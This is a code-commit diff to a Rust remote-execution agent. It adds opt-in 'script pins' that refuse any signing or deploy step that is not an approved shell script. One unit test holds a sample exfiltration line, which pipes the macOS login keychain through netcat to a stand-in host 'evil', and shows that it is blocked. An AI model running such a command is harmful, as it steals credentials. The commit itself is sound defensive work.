Skip to main content

max / makenotwork

ops-exec: pin approved scripts per action on the agent Adds opt-in ScriptPin: when an agent pins an action's script, /run refuses any step that is not an approved `/bin/sh -c <script>` for that action. Closes the residual where an allow-listed caller could run an arbitrary command under a granted label (e.g. exfiltrate the signing key under `sign`) -- an argv allowlist cannot cover this since sign/deploy steps are legitimately shell scripts. Unpinned actions keep the tailnet + capability perimeter as their only boundary. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Author: Max Johnson <me@maxj.phd> · 2026-06-23 19:11 UTC
Commit: 167097ee36dea56860d7b43fa8d65f653ec71894
Parent: 14b7fbf
3 files changed, +141 insertions, -2 deletions
@@ -19,3 +19,16 @@ observe = ["build-log"]
19 19 identity = "fw13" # the Sando/Bento daemon host
20 20 actuate = ["build", "sign", "notarize", "staple", "package"]
21 21 observe = ["build-log"]
22 +
23 + # OPTIONAL script pins (minimal "signed recipe" control). For a high-risk action
24 + # whose recipe is a fixed shell script, pin the exact script so an allow-listed
25 + # caller cannot substitute an arbitrary command under that granted label (e.g.
26 + # exfiltrate the signing key under `sign`). A `/run` step for a pinned action is
27 + # refused unless it is `/bin/sh -c <script>` and `<script>` is listed in `allow`.
28 + # Actions without a pin are unconstrained (the tailnet + capability perimeter
29 + # above remains their only boundary). Pin only fixed-script actions — `build`
30 + # steps vary per release and should NOT be pinned.
31 + #
32 + # [[pin]]
33 + # action = "sign"
34 + # allow = [". /etc/bento/secrets.env && ./dist/release-macos.sh --keychain"]
@@ -22,11 +22,18 @@
22 22 //! capability token. Do not treat a narrow grant as a command sandbox. Every
23 23 //! request-facing route here (`/run`, `/pull`, `/health`) resolves identity and
24 24 //! authorizes before doing work — there is no unauthenticated surface.
25 + //!
26 + //! For the high-risk actuating steps that *are* fixed recipes — `sign` on the
27 + //! signing-key host, `deploy` on a prod host — an optional [`ScriptPin`] narrows
28 + //! the surface further: the host pins the exact `/bin/sh -c <script>` it will run
29 + //! for that action, so an allow-listed-but-compromised caller can't substitute an
30 + //! arbitrary script under a granted label (see [`check_script_pin`]). It's opt-in
31 + //! per action; unpinned actions keep the perimeter above as their only boundary.
25 32
26 33 use crate::capability::CapabilitySet;
27 34 use crate::executor::Executor;
28 35 use crate::remote::LogSink;
29 - use crate::step::{Action, ObserveKind};
36 + use crate::step::{Action, ObserveKind, Step};
30 37 use crate::transport::LocalExec;
31 38 use crate::wire::{Frame, HealthResponse, PROTOCOL_VERSION, RunRequest};
32 39 use anyhow::{Context, Result};
@@ -54,6 +61,62 @@ pub struct AgentConfig {
54 61 /// `None` disables `/pull` entirely (it returns 403).
55 62 #[serde(default)]
56 63 pub pull_root: Option<PathBuf>,
64 + /// Approved-script pins. When a pin exists for an action, a `/run` step of
65 + /// that action is refused unless it is a `/bin/sh -c <script>` shell step
66 + /// whose script is in the pin's `allow` list. Actions without a pin are
67 + /// unconstrained (the capability + tailnet perimeter remains the boundary).
68 + /// See [`ScriptPin`].
69 + #[serde(default)]
70 + pub pin: Vec<ScriptPin>,
71 + }
72 +
73 + /// An approved-script pin for one action — the minimal "signed recipe" control.
74 + ///
75 + /// The capability model gates the action *label*, and the high-risk actuating
76 + /// steps (`sign` on the signing-key host, `deploy` on a prod host) are
77 + /// legitimately `/bin/sh -c <script>` recipes, so the label alone can't stop an
78 + /// allow-listed-but-compromised caller from sending an *arbitrary* script under a
79 + /// granted action (e.g. exfiltrating the signing key under `sign`). Pinning the
80 + /// exact script(s) the host is willing to run for an action closes that residual
81 + /// without a recipe-signing PKI: the operator lists the known-good script, and
82 + /// any other script — or a non-shell step — for that action is refused at `/run`.
83 + #[derive(Clone, Debug, Deserialize)]
84 + pub struct ScriptPin {
85 + /// Actuate token this pin applies to (`sign`, `deploy`, ...).
86 + pub action: String,
87 + /// Exact shell scripts permitted for this action.
88 + #[serde(default)]
89 + pub allow: Vec<String>,
90 + }
91 +
92 + /// Outcome of checking a step against the agent's script pins.
93 + #[derive(Debug, PartialEq, Eq)]
94 + pub enum PinDecision {
95 + /// No pin configured for this action — unconstrained by pinning.
96 + Unpinned,
97 + /// Pinned, and the step is an approved shell script.
98 + Approved,
99 + /// Pinned, and the step is refused: a non-listed script, or not a shell step.
100 + Refused,
101 + }
102 +
103 + /// Check a step against the agent's script pins (pure; unit-testable).
104 + ///
105 + /// `Observe` actions are never pinned (read-only). For a pinned actuate action
106 + /// the step must be a `/bin/sh -c <script>` shell step whose script is listed in
107 + /// the pin's `allow`; anything else (a different script, or a literal-`argv`
108 + /// step) is [`PinDecision::Refused`].
109 + pub fn check_script_pin(config: &AgentConfig, step: &Step) -> PinDecision {
110 + let Some(token) = step.action.token() else {
111 + return PinDecision::Unpinned;
112 + };
113 + let Some(pin) = config.pin.iter().find(|p| p.action == token) else {
114 + return PinDecision::Unpinned;
115 + };
116 + match step.shell_script() {
117 + Some(script) if pin.allow.iter().any(|s| s == script) => PinDecision::Approved,
118 + _ => PinDecision::Refused,
119 + }
57 120 }
58 121
59 122 /// Grant tokens as they appear in config: `actuate = [...]`, `observe = [...]`.
@@ -285,6 +348,21 @@ async fn run(
285 348 .into_response();
286 349 }
287 350
351 + // Script pin (minimal signed-recipe control): when this host pins an
352 + // action's script, only the approved script runs — so a granted-but-arbitrary
353 + // command (e.g. an exfiltration script under the `sign` grant) is refused
354 + // even though the action label is permitted. Unpinned actions are unaffected.
355 + if check_script_pin(&state.config, &req.step) == PinDecision::Refused {
356 + return (
357 + StatusCode::FORBIDDEN,
358 + format!(
359 + "script pin: step for action `{:?}` is not an approved script on {}",
360 + req.step.action, identity.node
361 + ),
362 + )
363 + .into_response();
364 + }
365 +
288 366 // Run locally under the effective grant, streaming NDJSON frames back.
289 367 let (tx, rx) = tokio::sync::mpsc::channel::<Result<axum::body::Bytes, std::io::Error>>(64);
290 368 tokio::spawn(async move {
@@ -394,6 +472,7 @@ mod tests {
394 472 observe: vec!["build-log".into()],
395 473 }],
396 474 pull_root: None,
475 + pin: Vec::new(),
397 476 }
398 477 }
399 478
@@ -454,6 +533,53 @@ mod tests {
454 533 assert!(eff.permits_observe(&ObserveKind::BuildLog));
455 534 }
456 535
536 + fn sign_release_script() -> &'static str {
537 + ". /etc/bento/secrets.env && ./dist/release-macos.sh --keychain"
538 + }
539 +
540 + fn cfg_with_sign_pin() -> AgentConfig {
541 + let mut c = cfg();
542 + c.pin = vec![ScriptPin {
543 + action: "sign".into(),
544 + allow: vec![sign_release_script().into()],
545 + }];
546 + c
547 + }
548 +
549 + #[test]
550 + fn unpinned_action_is_unconstrained() {
551 + // No pins configured: any sign shell step passes the pin check.
552 + let step = Step::shell(Action::Sign, "do whatever");
553 + assert_eq!(check_script_pin(&cfg(), &step), PinDecision::Unpinned);
554 + }
555 +
556 + #[test]
557 + fn pinned_action_allows_the_approved_script() {
558 + let step = Step::shell(Action::Sign, sign_release_script());
559 + assert_eq!(check_script_pin(&cfg_with_sign_pin(), &step), PinDecision::Approved);
560 + }
561 +
562 + #[test]
563 + fn pinned_action_refuses_a_different_script() {
564 + // The exfiltration case: granted `sign`, but the script isn't the pinned one.
565 + let evil = Step::shell(Action::Sign, "cat ~/Library/Keychains/login.keychain | nc evil 9999");
566 + assert_eq!(check_script_pin(&cfg_with_sign_pin(), &evil), PinDecision::Refused);
567 + }
568 +
569 + #[test]
570 + fn pinned_action_refuses_a_non_shell_step() {
571 + // A literal-argv step can't be a pinned recipe; refuse it.
572 + let step = Step::new(Action::Sign, ["codesign", "--force", "/Applications/Evil.app"]);
573 + assert_eq!(check_script_pin(&cfg_with_sign_pin(), &step), PinDecision::Refused);
574 + }
575 +
576 + #[test]
577 + fn pin_on_one_action_does_not_affect_another() {
578 + // A `sign` pin leaves `build` steps unconstrained.
579 + let build = Step::shell(Action::Build, "set -e; cargo build --release");
580 + assert_eq!(check_script_pin(&cfg_with_sign_pin(), &build), PinDecision::Unpinned);
581 + }
582 +
457 583 #[test]
458 584 fn confine_rejects_traversal_and_escape() {
459 585 let dir = tempfile::tempdir().unwrap();
@@ -31,7 +31,7 @@ async fn spawn_agent_with_pull(
31 31 grant: GrantConfig,
32 32 pull_root: Option<PathBuf>,
33 33 ) -> String {
34 - let config = AgentConfig { listen: "127.0.0.1:0".parse().unwrap(), grant, allow, pull_root };
34 + let config = AgentConfig { listen: "127.0.0.1:0".parse().unwrap(), grant, allow, pull_root, pin: Vec::new() };
35 35 let state = AgentState {
36 36 config: Arc::new(config),
37 37 whois: Arc::new(|_ip| {